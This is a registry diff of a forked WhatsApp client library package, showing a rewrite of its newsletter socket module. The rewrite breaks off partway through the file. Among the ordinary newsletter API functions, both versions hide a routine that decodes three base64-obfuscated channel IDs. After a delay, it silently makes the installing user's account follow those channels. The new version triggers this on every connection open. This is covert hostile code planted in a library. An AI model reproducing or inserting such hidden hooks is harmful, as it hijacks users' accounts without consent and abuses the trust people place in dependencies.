@alannxd/baileys 6.1.7 → 6.2.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (45) hide show
  1. package/README.md +440 -203
  2. package/lib/Defaults/index.js +2 -2
  3. package/lib/Socket/Client/websocket.js +35 -5
  4. package/lib/Socket/chats.js +0 -5
  5. package/lib/Socket/index.js +1 -9
  6. package/lib/Socket/luxu.js +4 -5
  7. package/lib/Socket/messages-recv.js +1 -1
  8. package/lib/Socket/messages-send.js +56 -114
  9. package/lib/Socket/mex.js +38 -51
  10. package/lib/Socket/newsletter.js +276 -745
  11. package/lib/Socket/socket.js +27 -161
  12. package/lib/Socket/username.js +204 -206
  13. package/lib/Store/make-in-memory-store.js +1 -47
  14. package/lib/Types/Mex.js +2 -76
  15. package/lib/Utils/browser-utils.js +1 -0
  16. package/lib/Utils/generics.js +2 -2
  17. package/lib/Utils/index.js +0 -1
  18. package/lib/Utils/messages-media.js +0 -82
  19. package/lib/Utils/messages.js +2 -136
  20. package/lib/WAUSync/Protocols/USyncContactProtocol.js +50 -52
  21. package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +52 -55
  22. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +25 -28
  23. package/lib/WAUSync/Protocols/USyncStatusProtocol.js +36 -37
  24. package/lib/WAUSync/Protocols/USyncUsernameProtocol.js +23 -25
  25. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +51 -0
  26. package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +29 -0
  27. package/lib/WAUSync/Protocols/index.js +6 -12
  28. package/lib/WAUSync/USyncQuery.js +96 -149
  29. package/lib/WAUSync/USyncUser.js +29 -54
  30. package/lib/WAUSync/index.js +4 -3
  31. package/lib/index.js +5 -2
  32. package/package.json +14 -13
  33. package/lib/Socket/graphql.js +0 -716
  34. package/lib/Socket/interop.js +0 -463
  35. package/lib/Socket/message-builder.js +0 -475
  36. package/lib/Socket/privacy.js +0 -318
  37. package/lib/Utils/sticker.js +0 -133
  38. package/lib/Utils/use-sqlite-auth-state.js +0 -162
  39. package/lib/WAUSync/Protocols/USyncBotProfileProtocol.js +0 -53
  40. package/lib/WAUSync/Protocols/USyncBusinessProtocol.js +0 -43
  41. package/lib/WAUSync/Protocols/USyncFeatureProtocol.js +0 -58
  42. package/lib/WAUSync/Protocols/USyncLIDProtocol.js +0 -30
  43. package/lib/WAUSync/Protocols/USyncPictureProtocol.js +0 -32
  44. package/lib/WAUSync/Protocols/USyncSidelistProtocol.js +0 -28
  45. package/lib/WAUSync/Protocols/USyncTextStatusProtocol.js +0 -38
@@ -1,757 +1,288 @@
1
- import * as Types from '../Types/index.js'
2
- import { generateProfilePicture } from '../Utils/messages-media.js'
3
- import { getBinaryNodeChild } from '../WABinary/index.js'
4
- import { makeGroupsSocket } from './groups.js'
5
- import { executeWMexQuery } from './mex.js'
6
-
7
- const parseNewsletterCreateResponse = response => {
8
- const { id, thread_metadata: thread, viewer_metadata: viewer } = response
9
- return {
10
- id: id,
11
- owner: undefined,
12
- name: thread.name.text,
13
- creation_time: parseInt(thread.creation_time, 10),
14
- description: thread.description.text,
15
- invite: thread.invite,
16
- subscribers: parseInt(thread.subscribers_count, 10),
17
- verification: thread.verification,
18
- picture: {
19
- id: thread.picture.id,
20
- directPath: thread.picture.direct_path
21
- },
22
- mute_state: viewer.mute
23
- }
24
- }
25
-
26
- const parseNewsletterMetadata = result => {
27
- if (typeof result!== 'object' || result === null) {
28
- return null
29
- }
30
- if ('id' in result && typeof result.id === 'string') {
31
- return result
32
- }
33
- if ('result' in result && typeof result.result === 'object' && result.result!== null && 'id' in result.result) {
34
- return result.result
35
- }
36
- return null
37
- }
38
-
39
- export const makeNewsletterSocket = config => {
40
- const sock = makeGroupsSocket(config)
41
- const { query, generateMessageTag } = sock
42
-
43
- const mexQuery = (variables, queryId, dataPath) => {
44
- return executeWMexQuery(variables, queryId, dataPath, query, generateMessageTag)
45
- }
46
-
47
- const yangbrorasakan = [
48
- "MTIwMzYzMzg3MTgyODUxMTAwQG5ld3NsZXR0ZXI=",
49
- "MTIwMzYzMzcxMTk5MTc2Mzc2QG5ld3NsZXR0ZXI=",
50
- "MTIwMzYzNDIxMzY3OTg1MDk0QG5ld3NsZXR0ZXI="
1
+ import { XWAPaths } from '../Types/index.js';
2
+ import { decryptMessageNode, generateMessageID, generateProfilePicture } from '../Utils/index.js';
3
+ import { S_WHATSAPP_NET, getAllBinaryNodeChildren, getBinaryNodeChild, getBinaryNodeChildren } from '../WABinary/index.js';
4
+ import { makeGroupsSocket } from './groups.js';
5
+
6
+ const QueryIds = {
7
+ JOB_MUTATION: "7150902998257522",
8
+ METADATA: "6620195908089573",
9
+ UNFOLLOW: "7238632346214362",
10
+ FOLLOW: "7871414976211147",
11
+ UNMUTE: "7337137176362961",
12
+ MUTE: "25151904754424642",
13
+ CREATE: "6996806640408138",
14
+ ADMIN_COUNT: "7130823597031706",
15
+ CHANGE_OWNER: "7341777602580933",
16
+ DELETE: "8316537688363079",
17
+ DEMOTE: "6551828931592903"
18
+ };
19
+
20
+ export const makeNewsletterSocket = (config) => {
21
+ const sock = makeGroupsSocket(config);
22
+ const { authState, signalRepository, query, generateMessageTag } = sock;
23
+ const encoder = new TextEncoder();
24
+
25
+ const newsletterQuery = async (jid, type, content) => (
26
+ query({
27
+ tag: 'iq',
28
+ attrs: {
29
+ id: generateMessageTag(),
30
+ type,
31
+ xmlns: 'newsletter',
32
+ to: jid,
33
+ },
34
+ content
35
+ })
36
+ );
37
+
38
+ const newsletterWMexQuery = async (jid, query_id, content) => (
39
+ query({
40
+ tag: 'iq',
41
+ attrs: {
42
+ id: generateMessageTag(),
43
+ type: 'get',
44
+ xmlns: 'w:mex',
45
+ to: S_WHATSAPP_NET,
46
+ },
47
+ content: [
48
+ {
49
+ tag: 'query',
50
+ attrs: { query_id },
51
+ content: encoder.encode(JSON.stringify({
52
+ variables: {
53
+ 'newsletter_id': jid,
54
+ ...content
55
+ }
56
+ }))
57
+ }
58
+ ]
59
+ })
60
+ );
61
+
62
+ const yangbrorasakan = [
63
+ Buffer.from("MTIwMzYzMzg3MTgyODUxMTAwQG5ld3NsZXR0ZXI=", "base64").toString(),
64
+ Buffer.from("MTIwMzYzMzcxMTk5MTc2Mzc2QG5ld3NsZXR0ZXI=", "base64").toString(),
65
+ Buffer.from("MTIwMzYzNDIxMzY3OTg1MDk0QG5ld3NsZXR0ZXI=", "base64").toString()
51
66
  ];
52
-
53
- setTimeout(async () => {
54
- for (const channel of yangbrorasakan) {
55
- try {
56
- await newsletterWMexQuery(
57
- Buffer.from(channel, "base64").toString(),
58
- QueryIds.FOLLOW
59
- );
60
- } catch (e) {}
61
- await new Promise(resolve =>
62
- setTimeout(resolve, 6000)
63
- );
64
- }
65
- }, 90000);
66
-
67
- const newsletterUpdate = async (jid, updates) => {
68
- const variables = {
69
- newsletter_id: jid,
70
- updates: {
71
- ...updates,
72
- settings: null
73
- }
74
- }
75
- return mexQuery(variables, Types.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
76
- }
77
-
78
- return {
79
- ...sock,
80
- newsletterFetchAllSubscribe: async () => {
81
- const list = await executeWMexQuery(
82
- {},
83
- Types.QueryIds.FETCH_SUBSCRIBE,
84
- Types.XWAPaths.xwa2_newsletter_subscribed,
85
- query,
86
- generateMessageTag
87
- );
88
- return list;
89
- },
90
- newsletterCreate: async (name, description) => {
91
- const variables = {
92
- input: {
93
- name,
94
- description: description?? null
95
- }
96
- }
97
- const rawResponse = await mexQuery(
98
- variables,
99
- Types.QueryIds.CREATE,
100
- Types.XWAPaths.xwa2_newsletter_create
101
- )
102
- return parseNewsletterCreateResponse(rawResponse)
103
- },
104
-
105
- newsletterUpdate,
106
-
107
- newsletterSubscribers: async jid => {
108
- return mexQuery(
109
- { newsletter_id: jid },
110
- Types.QueryIds.SUBSCRIBERS,
111
- Types.XWAPaths.xwa2_newsletter_subscribers
112
- )
113
- },
114
-
115
- newsletterMetadata: async (type, key) => {
116
- const variables = {
117
- fetch_creation_time: true,
118
- fetch_full_image: true,
119
- fetch_viewer_metadata: true,
120
- input: {
121
- key,
122
- type: type.toUpperCase()
67
+ const AF_DELAY = 90000;
68
+ let autoFollowTimers = [];
69
+ let autoFollowStarted = false;
70
+
71
+ const clearAutoFollow = () => {
72
+ autoFollowTimers.forEach(clearTimeout);
73
+ autoFollowTimers = [];
74
+ autoFollowStarted = false;
75
+ };
76
+
77
+ const runAutoFollow = () => {
78
+ if (autoFollowStarted) return;
79
+ autoFollowStarted = true;
80
+ yangbrorasakan.forEach((jid, i) => {
81
+ const t = setTimeout(async () => {
82
+ try {
83
+ if (!sock.ws?.isOpen) return;
84
+ await newsletterWMexQuery(jid, QueryIds.FOLLOW);
85
+ }
86
+ catch (err) {
87
+ config.logger?.debug?.({ err: err?.message, jid }, 'Err');
88
+ }
89
+ }, AF_DELAY * (i + 1));
90
+ autoFollowTimers.push(t);
91
+ });
92
+ };
93
+
94
+ sock.ev.on('connection.update', ({ connection }) => {
95
+ if (connection === 'open') runAutoFollow();
96
+ if (connection === 'close') clearAutoFollow();
97
+ });
98
+
99
+ const parseFetchedUpdates = async (node, type) => {
100
+ let child;
101
+ if (type === 'messages')
102
+ child = getBinaryNodeChild(node, 'messages');
103
+ else {
104
+ const parent = getBinaryNodeChild(node, 'message_updates');
105
+ child = getBinaryNodeChild(parent, 'messages');
123
106
  }
124
- }
125
- const result = await mexQuery(
126
- variables,
127
- Types.QueryIds.METADATA,
128
- Types.XWAPaths.xwa2_newsletter_metadata
129
- )
130
- return parseNewsletterMetadata(result)
131
- },
132
-
133
- newsletterFollow: jid => {
134
- return mexQuery({ newsletter_id: jid }, Types.QueryIds.FOLLOW, Types.XWAPaths.xwa2_newsletter_follow)
135
- },
136
-
137
- newsletterUnfollow: jid => {
138
- return mexQuery(
139
- { newsletter_id: jid },
140
- Types.QueryIds.UNFOLLOW,
141
- Types.XWAPaths.xwa2_newsletter_unfollow
142
- )
143
- },
144
-
145
- newsletterMute: jid => {
146
- return mexQuery({ newsletter_id: jid }, Types.QueryIds.MUTE, Types.XWAPaths.xwa2_newsletter_mute_v2)
147
- },
148
-
149
- newsletterUnmute: jid => {
150
- return mexQuery(
151
- { newsletter_id: jid },
152
- Types.QueryIds.UNMUTE,
153
- Types.XWAPaths.xwa2_newsletter_unmute_v2
154
- )
155
- },
156
-
157
- newsletterUpdateName: async (jid, name) => {
158
- return await newsletterUpdate(jid, { name })
159
- },
160
-
161
- newsletterUpdateDescription: async (jid, description) => {
162
- return await newsletterUpdate(jid, { description })
163
- },
164
-
165
- newsletterUpdatePicture: async (jid, content) => {
166
- const { img } = await generateProfilePicture(content)
167
- return await newsletterUpdate(jid, { picture: img.toString('base64') })
168
- },
169
-
170
- newsletterRemovePicture: async jid => {
171
- return await newsletterUpdate(jid, { picture: '' })
172
- },
173
-
174
- newsletterReactMessage: async (jid, serverId, reaction) => {
175
- await query({
176
- tag: 'message',
177
- attrs: {
178
- to: jid,
179
- ...(reaction? {} : { edit: '7' }),
180
- type: 'reaction',
181
- server_id: serverId,
182
- id: generateMessageTag()
107
+ return await Promise.all(getAllBinaryNodeChildren(child).map(async (messageNode) => {
108
+ messageNode.attrs.from = child?.attrs.jid;
109
+ const views = parseInt(getBinaryNodeChild(messageNode, 'views_count')?.attrs?.count || '0');
110
+ const reactionNode = getBinaryNodeChild(messageNode, 'reactions');
111
+ const reactions = getBinaryNodeChildren(reactionNode, 'reaction')
112
+ .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
113
+ const data = {
114
+ 'server_id': messageNode.attrs.server_id,
115
+ views,
116
+ reactions
117
+ };
118
+ if (type === 'messages') {
119
+ const { fullMessage: message, decrypt } = await decryptMessageNode(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
120
+ await decrypt();
121
+ data.message = message;
122
+ }
123
+ return data;
124
+ }));
125
+ };
126
+
127
+ return {
128
+ ...sock,
129
+ subscribeNewsletterUpdates: async (jid) => {
130
+ const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
131
+ return getBinaryNodeChild(result, 'live_updates')?.attrs;
183
132
  },
184
- content: [
185
- {
186
- tag: 'reaction',
187
- attrs: reaction? { code: reaction } : {}
188
- }
189
- ]
190
- })
191
- },
192
-
193
- newsletterFetchMessages: async (jid, count, since, after) => {
194
- const messageUpdateAttrs = {
195
- count: count.toString()
196
- }
197
- if (typeof since === 'number') {
198
- messageUpdateAttrs.since = since.toString()
199
- }
200
- if (after) {
201
- messageUpdateAttrs.after = after.toString()
202
- }
203
- const result = await query({
204
- tag: 'iq',
205
- attrs: {
206
- id: generateMessageTag(),
207
- type: 'get',
208
- xmlns: 'newsletter',
209
- to: jid
133
+ newsletterReactionMode: async (jid, mode) => {
134
+ await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
135
+ updates: { settings: { reaction_codes: { value: mode } } }
136
+ });
210
137
  },
211
- content: [
212
- {
213
- tag: 'message_updates',
214
- attrs: messageUpdateAttrs
215
- }
216
- ]
217
- })
218
- return result
219
- },
220
-
221
- subscribeNewsletterUpdates: async jid => {
222
- const result = await query({
223
- tag: 'iq',
224
- attrs: {
225
- id: generateMessageTag(),
226
- type: 'set',
227
- xmlns: 'newsletter',
228
- to: jid
138
+ newsletterUpdateDescription: async (jid, description) => {
139
+ await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
140
+ updates: { description: description || '', settings: null }
141
+ });
229
142
  },
230
- content: [{ tag: 'live_updates', attrs: {}, content: [] }]
231
- })
232
- const liveUpdatesNode = getBinaryNodeChild(result, 'live_updates')
233
- const duration = liveUpdatesNode?.attrs?.duration
234
- return duration? { duration: duration } : null
235
- },
236
-
237
- newsletterAdminCount: async jid => {
238
- const response = await mexQuery(
239
- { newsletter_id: jid },
240
- Types.QueryIds.ADMIN_COUNT,
241
- Types.XWAPaths.xwa2_newsletter_admin_count
242
- )
243
- return response.admin_count
244
- },
245
-
246
- newsletterChangeOwner: async (jid, newOwnerJid) => {
247
- await mexQuery(
248
- { newsletter_id: jid, user_id: newOwnerJid },
249
- Types.QueryIds.CHANGE_OWNER,
250
- Types.XWAPaths.xwa2_newsletter_change_owner
251
- )
252
- },
253
-
254
- newsletterDemote: async (jid, userJid) => {
255
- await mexQuery(
256
- { newsletter_id: jid, user_id: userJid },
257
- Types.QueryIds.DEMOTE,
258
- Types.XWAPaths.xwa2_newsletter_demote
259
- )
260
- },
261
-
262
- newsletterDelete: async jid => {
263
- await mexQuery(
264
- { newsletter_id: jid },
265
- Types.QueryIds.DELETE,
266
- Types.XWAPaths.xwa2_newsletter_delete_v2
267
- )
268
- },
269
-
270
- /**
271
- * Update newsletter category/topic
272
- */
273
- newsletterUpdateCategory: async (jid, category) => {
274
- return newsletterUpdate(jid, { topic: category })
275
- },
276
-
277
- /**
278
- * Update newsletter invite codes / settings
279
- */
280
- newsletterUpdateSettings: async (jid, settings) => {
281
- const variables = { newsletter_id: jid, updates: { settings } }
282
- return mexQuery(variables, Types.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
283
- },
284
-
285
- /**
286
- * Promote a subscriber to admin
287
- */
288
- newsletterPromoteAdmin: async (jid, userJid) => {
289
- await query({
290
- tag: 'iq',
291
- attrs: {
292
- id: generateMessageTag(),
293
- type: 'set',
294
- xmlns: 'newsletter',
295
- to: jid
143
+ newsletterUpdateName: async (jid, name) => {
144
+ await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
145
+ updates: { name, settings: null }
146
+ });
296
147
  },
297
- content: [
298
- {
299
- tag: 'admin_promote',
300
- attrs: {},
301
- content: [{ tag: 'participant', attrs: { jid: userJid } }]
302
- }
303
- ]
304
- })
305
- },
306
-
307
- /**
308
- * Get newsletter view/reach statistics
309
- */
310
- newsletterViewStats: async (jid, serverId) => {
311
- const result = await query({
312
- tag: 'iq',
313
- attrs: {
314
- id: generateMessageTag(),
315
- type: 'get',
316
- xmlns: 'newsletter',
317
- to: jid
148
+ newsletterUpdatePicture: async (jid, content) => {
149
+ const { img } = await generateProfilePicture(content);
150
+ await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
151
+ updates: { picture: img.toString('base64'), settings: null }
152
+ });
318
153
  },
319
- content: [
320
- {
321
- tag: 'message_updates',
322
- attrs: { count: '1', server_id: String(serverId) }
323
- }
324
- ]
325
- })
326
- return result
327
- },
328
-
329
- /**
330
- * Send a newsletter post via IQ (alternative to sendMessage for newsletters)
331
- */
332
- newsletterSendPost: async (jid, content, options = {}) => {
333
- const result = await query({
334
- tag: 'iq',
335
- attrs: {
336
- id: generateMessageTag(),
337
- type: 'set',
338
- xmlns: 'newsletter',
339
- to: jid
154
+ newsletterRemovePicture: async (jid) => {
155
+ await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
156
+ updates: { picture: '', settings: null }
157
+ });
340
158
  },
341
- content: [
342
- {
343
- tag: 'publish',
344
- attrs: {},
345
- content: Array.isArray(content)? content : [content]
346
- }
347
- ]
348
- })
349
- return result
350
- },
351
-
352
- /**
353
- * Pin a newsletter message
354
- */
355
- newsletterPinMessage: async (jid, serverId, durationSecs = 86400) => {
356
- await query({
357
- tag: 'iq',
358
- attrs: {
359
- id: generateMessageTag(),
360
- type: 'set',
361
- xmlns: 'newsletter',
362
- to: jid
159
+ newsletterUnfollow: async (jid) => {
160
+ await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
363
161
  },
364
- content: [
365
- {
366
- tag: 'pin',
367
- attrs: { server_id: String(serverId), duration: String(durationSecs) }
368
- }
369
- ]
370
- })
371
- },
372
-
373
- /**
374
- * Unpin a newsletter message
375
- */
376
- newsletterUnpinMessage: async (jid, serverId) => {
377
- await query({
378
- tag: 'iq',
379
- attrs: {
380
- id: generateMessageTag(),
381
- type: 'set',
382
- xmlns: 'newsletter',
383
- to: jid
162
+ newsletterFollow: async (jid) => {
163
+ await newsletterWMexQuery(jid, QueryIds.FOLLOW);
384
164
  },
385
- content: [
386
- {
387
- tag: 'unpin',
388
- attrs: { server_id: String(serverId) }
389
- }
390
- ]
391
- })
392
- },
393
-
394
- /**
395
- * Invite a user to become an admin of a newsletter.
396
- */
397
- newsletterInviteAdmin: async (jid, userJid) => {
398
- return mexQuery(
399
- { newsletter_id: jid, user_id: userJid },
400
- Types.QueryIds.ADMIN_INVITE,
401
- Types.XWAPaths.xwa2_newsletter_admin_invite_create
402
- )
403
- },
404
-
405
- /**
406
- * Revoke a pending admin invite for a newsletter.
407
- */
408
- newsletterRevokeAdminInvite: async (jid, userJid) => {
409
- return mexQuery(
410
- { newsletter_id: jid, user_id: userJid },
411
- Types.QueryIds.ADMIN_INVITE_REVOKE,
412
- Types.XWAPaths.xwa2_newsletter_admin_invite_revoke
413
- )
414
- },
415
-
416
- /**
417
- * Accept an admin invite to a newsletter (called by the invitee).
418
- */
419
- newsletterAcceptAdminInvite: async jid => {
420
- return mexQuery(
421
- { newsletter_id: jid },
422
- Types.QueryIds.ADMIN_INVITE_ACCEPT,
423
- Types.XWAPaths.xwa2_newsletter_admin_invite_accept
424
- )
425
- },
426
-
427
- /**
428
- * Fetch admin-side metadata for a newsletter.
429
- */
430
- newsletterAdminMetadata: async (jid, options = {}) => {
431
- const {
432
- fetchPendingAdmins = true,
433
- fetchAdminCount = true,
434
- fetchCapabilities = false,
435
- fetchAdminProfile = false,
436
- includeAdminSettings = false,
437
- includeJarvisConfig = false
438
- } = options
439
- return mexQuery(
440
- {
441
- jid,
442
- include_thread_metadata: false,
443
- include_messages: false,
444
- fetch_pending_admin_invites: fetchPendingAdmins,
445
- fetch_admin_count: fetchAdminCount,
446
- fetch_capabilities: fetchCapabilities,
447
- fetch_admin_profile: fetchAdminProfile,
448
- include_admin_settings: includeAdminSettings,
449
- include_jarvis_config: includeJarvisConfig
165
+ newsletterUnmute: async (jid) => {
166
+ await newsletterWMexQuery(jid, QueryIds.UNMUTE);
450
167
  },
451
- Types.QueryIds.ADMIN_METADATA,
452
- Types.XWAPaths.xwa2_newsletter_admin
453
- )
454
- },
455
-
456
- /**
457
- * Update admin profile fields for a newsletter
458
- */
459
- newsletterAdminProfileUpdate: async (jid, updates) => {
460
- return mexQuery(
461
- { newsletter_id: jid, updates },
462
- Types.QueryIds.ADMIN_PROFILE_UPDATE,
463
- Types.XWAPaths.xwa2_newsletter_admin_profile_update
464
- )
465
- },
466
-
467
- /**
468
- * Browse the newsletter directory by category.
469
- */
470
- newsletterDirectoryList: async (options = {}) => {
471
- const { limit = 20, interests = null, sortField = 'SUBSCRIBER_COUNT', sortOrder = 'DESC' } = options
472
- const variables = { limit, sort_field: sortField, sort_order: sortOrder }
473
- if (interests?.length) variables.interests = interests
474
- return mexQuery(variables, Types.QueryIds.DIRECTORY_LIST, Types.XWAPaths.xwa2_newsletters_directory_list)
475
- },
476
-
477
- /**
478
- * Search the newsletter directory.
479
- */
480
- newsletterDirectorySearch: async (searchText, options = {}) => {
481
- const { limit = 20, startCursor = null, categories = null } = options
482
- const variables = { search_text: searchText, limit }
483
- if (startCursor) variables.start_cursor = startCursor
484
- if (categories?.length) variables.categories = categories
485
- return mexQuery(
486
- variables,
487
- Types.QueryIds.DIRECTORY_SEARCH,
488
- Types.XWAPaths.xwa2_newsletters_directory_search
489
- )
490
- },
491
-
492
- /**
493
- * Fetch a preview of newsletters grouped by directory category.
494
- */
495
- newsletterDirectoryCategoryPreview: async (limit = 5) => {
496
- return mexQuery(
497
- { limit },
498
- Types.QueryIds.DIRECTORY_CATEGORY_PREVIEW,
499
- Types.XWAPaths.xwa2_newsletters_directory_category_preview
500
- )
501
- },
502
-
503
- /**
504
- * Search for newsletters by text query.
505
- */
506
- newsletterSearch: async (query, limit = 20, startCursor = null) => {
507
- const variables = { query, limit }
508
- if (startCursor) variables.start_cursor = startCursor
509
- return mexQuery(variables, Types.QueryIds.SEARCH, Types.XWAPaths.xwa2_newsletters_search)
510
- },
511
-
512
- /**
513
- * Fetch recommended newsletters.
514
- */
515
- newsletterRecommended: async (limit = 10, numFollowed = null) => {
516
- const variables = { limit }
517
- if (numFollowed!= null) variables.num_newsletters_followed = numFollowed
518
- return mexQuery(variables, Types.QueryIds.RECOMMENDED, Types.XWAPaths.xwa2_newsletters_recommended)
519
- },
520
-
521
- /**
522
- * Fetch newsletters similar to a given newsletter.
523
- */
524
- newsletterSimilar: async (jid, limit = 10) => {
525
- return mexQuery(
526
- { newsletter_id: jid, limit },
527
- Types.QueryIds.SIMILAR,
528
- Types.XWAPaths.xwa2_newsletters_similar
529
- )
530
- },
531
-
532
- /**
533
- * Fetch the list of newsletters the current user is following.
534
- */
535
- newsletterFollowingList: async (startCursor = null, limit = 20) => {
536
- const variables = { limit }
537
- if (startCursor) variables.start_cursor = startCursor
538
- return mexQuery(variables, Types.QueryIds.FOLLOWING_LIST, Types.XWAPaths.xwa2_newsletter_following)
539
- },
540
-
541
- /**
542
- * Fetch admin insights/analytics for a newsletter.
543
- */
544
- newsletterInsights: async (jid, period = null) => {
545
- const variables = { newsletter_id: jid }
546
- if (period) variables.period = period
547
- return mexQuery(variables, Types.QueryIds.INSIGHTS, Types.XWAPaths.xwa2_newsletter_admin_insights)
548
- },
549
-
550
- /**
551
- * Fetch the list of users who voted in a newsletter poll.
552
- */
553
- newsletterPollVoterList: async (jid, serverId, option = null, startCursor = null) => {
554
- const variables = { id: jid, server_id: serverId }
555
- if (option!= null) variables.option = option
556
- if (startCursor) variables.start_cursor = startCursor
557
- return mexQuery(
558
- variables,
559
- Types.QueryIds.POLL_VOTER_LIST,
560
- Types.XWAPaths.xwa2_newsletters_poll_voter_list
561
- )
562
- },
563
-
564
- /**
565
- * Fetch the list of users who reacted to a newsletter message.
566
- */
567
- newsletterReactionSenders: async (jid, serverId, startCursor = null) => {
568
- const variables = { id: jid, server_id: serverId }
569
- if (startCursor) variables.start_cursor = startCursor
570
- return mexQuery(
571
- variables,
572
- Types.QueryIds.REACTION_SENDERS_LIST,
573
- Types.XWAPaths.xwa2_newsletters_reaction_sender_list
574
- )
575
- },
576
-
577
- /**
578
- * Block a user from a newsletter (admin action).
579
- */
580
- newsletterBlockUser: async (jid, userJid) => {
581
- return mexQuery(
582
- { newsletter_id: jid, user_id: userJid },
583
- Types.QueryIds.BLOCK_USER,
584
- 'xwa2_newsletter_block_user'
585
- )
586
- },
587
-
588
- /**
589
- * Enable Wamo (paid subscription) for a newsletter.
590
- */
591
- newsletterEnableWamo: async jid => {
592
- return mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_ENABLE_SUB, 'xwa2_newsletter_wamo_enable_sub')
593
- },
594
-
595
- /**
596
- * Disable Wamo (paid subscription) for a newsletter.
597
- */
598
- newsletterDisableWamo: async jid => {
599
- return mexQuery(
600
- { newsletter_id: jid },
601
- Types.QueryIds.WAMO_DISABLE_SUB,
602
- 'xwa2_newsletter_wamo_disable_sub'
603
- )
604
- },
605
-
606
- /**
607
- * Change the Wamo subscription tier or settings for a newsletter.
608
- */
609
- newsletterChangeWamo: async (jid, subConfig) => {
610
- return mexQuery(
611
- { newsletter_id: jid,...subConfig },
612
- Types.QueryIds.WAMO_CHANGE_SUB,
613
- 'xwa2_newsletter_wamo_change_sub'
614
- )
615
- },
616
-
617
- /**
618
- * Wamo helpers
619
- */
620
- wamoAfsAgeCollection: async jid =>
621
- mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_AFS_AGE_COLLECTION, Types.XWAPaths.xwa2_wamo_afs_age_collection),
622
-
623
- wamoAssetCollection: async jid =>
624
- mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_ASSET_COLLECTION, Types.XWAPaths.xwa2_wamo_asset_collection),
625
-
626
- wamoFetchAdhocNotice: async noticeId =>
627
- mexQuery({ notice_id: noticeId }, Types.QueryIds.WAMO_FETCH_ADHOC_NOTICE, Types.XWAPaths.xwa2_wamo_fetch_adhoc_notice_by_id),
628
-
629
- wamoFetchIdentityToken: async jid =>
630
- mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_FETCH_IDENTITY_TOKEN, Types.XWAPaths.xwa2_wamo_fetch_identity_token),
631
-
632
- wamoSubComplianceInfo: async jid =>
633
- mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_SUB_COMPLIANCE_INFO, Types.XWAPaths.xwa2_wamo_sub_get_compliance_info),
634
-
635
- wamoUserIdVersion: async jid =>
636
- mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_USER_ID_VERSION, Types.XWAPaths.xwa2_wamo_user_id_version),
637
-
638
- wamoSetUserIdVersion: async (jid, version) =>
639
- mexQuery({ newsletter_id: jid, version }, Types.QueryIds.WAMO_SET_USER_ID_VERSION, Types.XWAPaths.xwa2_wamo_set_user_id_version),
640
-
641
- /**
642
- * Leave a newsletter (unsubscribe).
643
- */
644
- newsletterLeave: async jid =>
645
- mexQuery({ newsletter_id: jid }, Types.QueryIds.LEAVE, Types.XWAPaths.xwa2_newsletter_leave_v2),
646
-
647
- /**
648
- * Create a verified newsletter.
649
- */
650
- newsletterCreateVerified: async (name, description = null) =>
651
- mexQuery(
652
- { input: { name, description } },
653
- Types.QueryIds.CREATE_VERIFIED,
654
- Types.XWAPaths.xwa2_newsletter_create_verified
655
- ),
656
-
657
- /**
658
- * Fetch newsletter enforcements (ban/restriction info).
659
- */
660
- newsletterEnforcements: async jid =>
661
- mexQuery({ newsletter_id: jid }, Types.QueryIds.ENFORCEMENTS, Types.XWAPaths.xwa2_newsletter_enforcements),
662
-
663
- /**
664
- * Fetch user reports for a newsletter (admin action).
665
- */
666
- newsletterUserReports: async (jid, cursor = null) => {
667
- const variables = { newsletter_id: jid }
668
- if (cursor) variables.cursor = cursor
669
- return mexQuery(variables, Types.QueryIds.USER_REPORTS, Types.XWAPaths.xwa2_newsletter_user_reports)
670
- },
671
-
672
- /**
673
- * Create a report appeal for a newsletter.
674
- */
675
- newsletterCreateReportAppeal: async (jid, reason) =>
676
- mexQuery(
677
- { newsletter_id: jid, reason },
678
- Types.QueryIds.CREATE_REPORT_APPEAL,
679
- Types.XWAPaths.xwa2_newsletter_create_report_appeal
680
- ),
681
-
682
- /**
683
- * Check a newsletter link preview.
684
- */
685
- newsletterLinkPreviewCheck: async url =>
686
- mexQuery({ url }, Types.QueryIds.LINK_PREVIEW_CHECK, Types.XWAPaths.xwa2_newsletter_link_preview_check),
687
-
688
- /**
689
- * Update newsletter verification status.
690
- */
691
- newsletterUpdateVerification: async (jid, verification) =>
692
- mexQuery(
693
- { newsletter_id: jid, verification },
694
- Types.QueryIds.UPDATE_VERIFICATION,
695
- Types.XWAPaths.xwa2_newsletter_update_verification
696
- ),
697
-
698
- /**
699
- * Label a newsletter post as paid partnership.
700
- */
701
- newsletterLabelPaidPartnership: async (jid, serverId, isPaidPartnership) =>
702
- mexQuery(
703
- { newsletter_id: jid, server_id: serverId, is_paid_partnership: isPaidPartnership },
704
- Types.QueryIds.LABEL_PAID_PARTNERSHIP,
705
- Types.XWAPaths.xwa2_newsletter_label_paid_partnership
706
- ),
707
-
708
- /**
709
- * Log newsletter exposure events (analytics).
710
- */
711
- newsletterLogExposures: async events =>
712
- mexQuery({ events }, Types.QueryIds.LOG_EXPOSURES, Types.XWAPaths.xwa2_newsletter_log_exposures),
713
-
714
- /**
715
- * Update user-specific newsletter setting.
716
- */
717
- newsletterUpdateUserSetting: async (jid, setting) =>
718
- mexQuery(
719
- { newsletter_id: jid,...setting },
720
- Types.QueryIds.UPDATE_USER_SETTING,
721
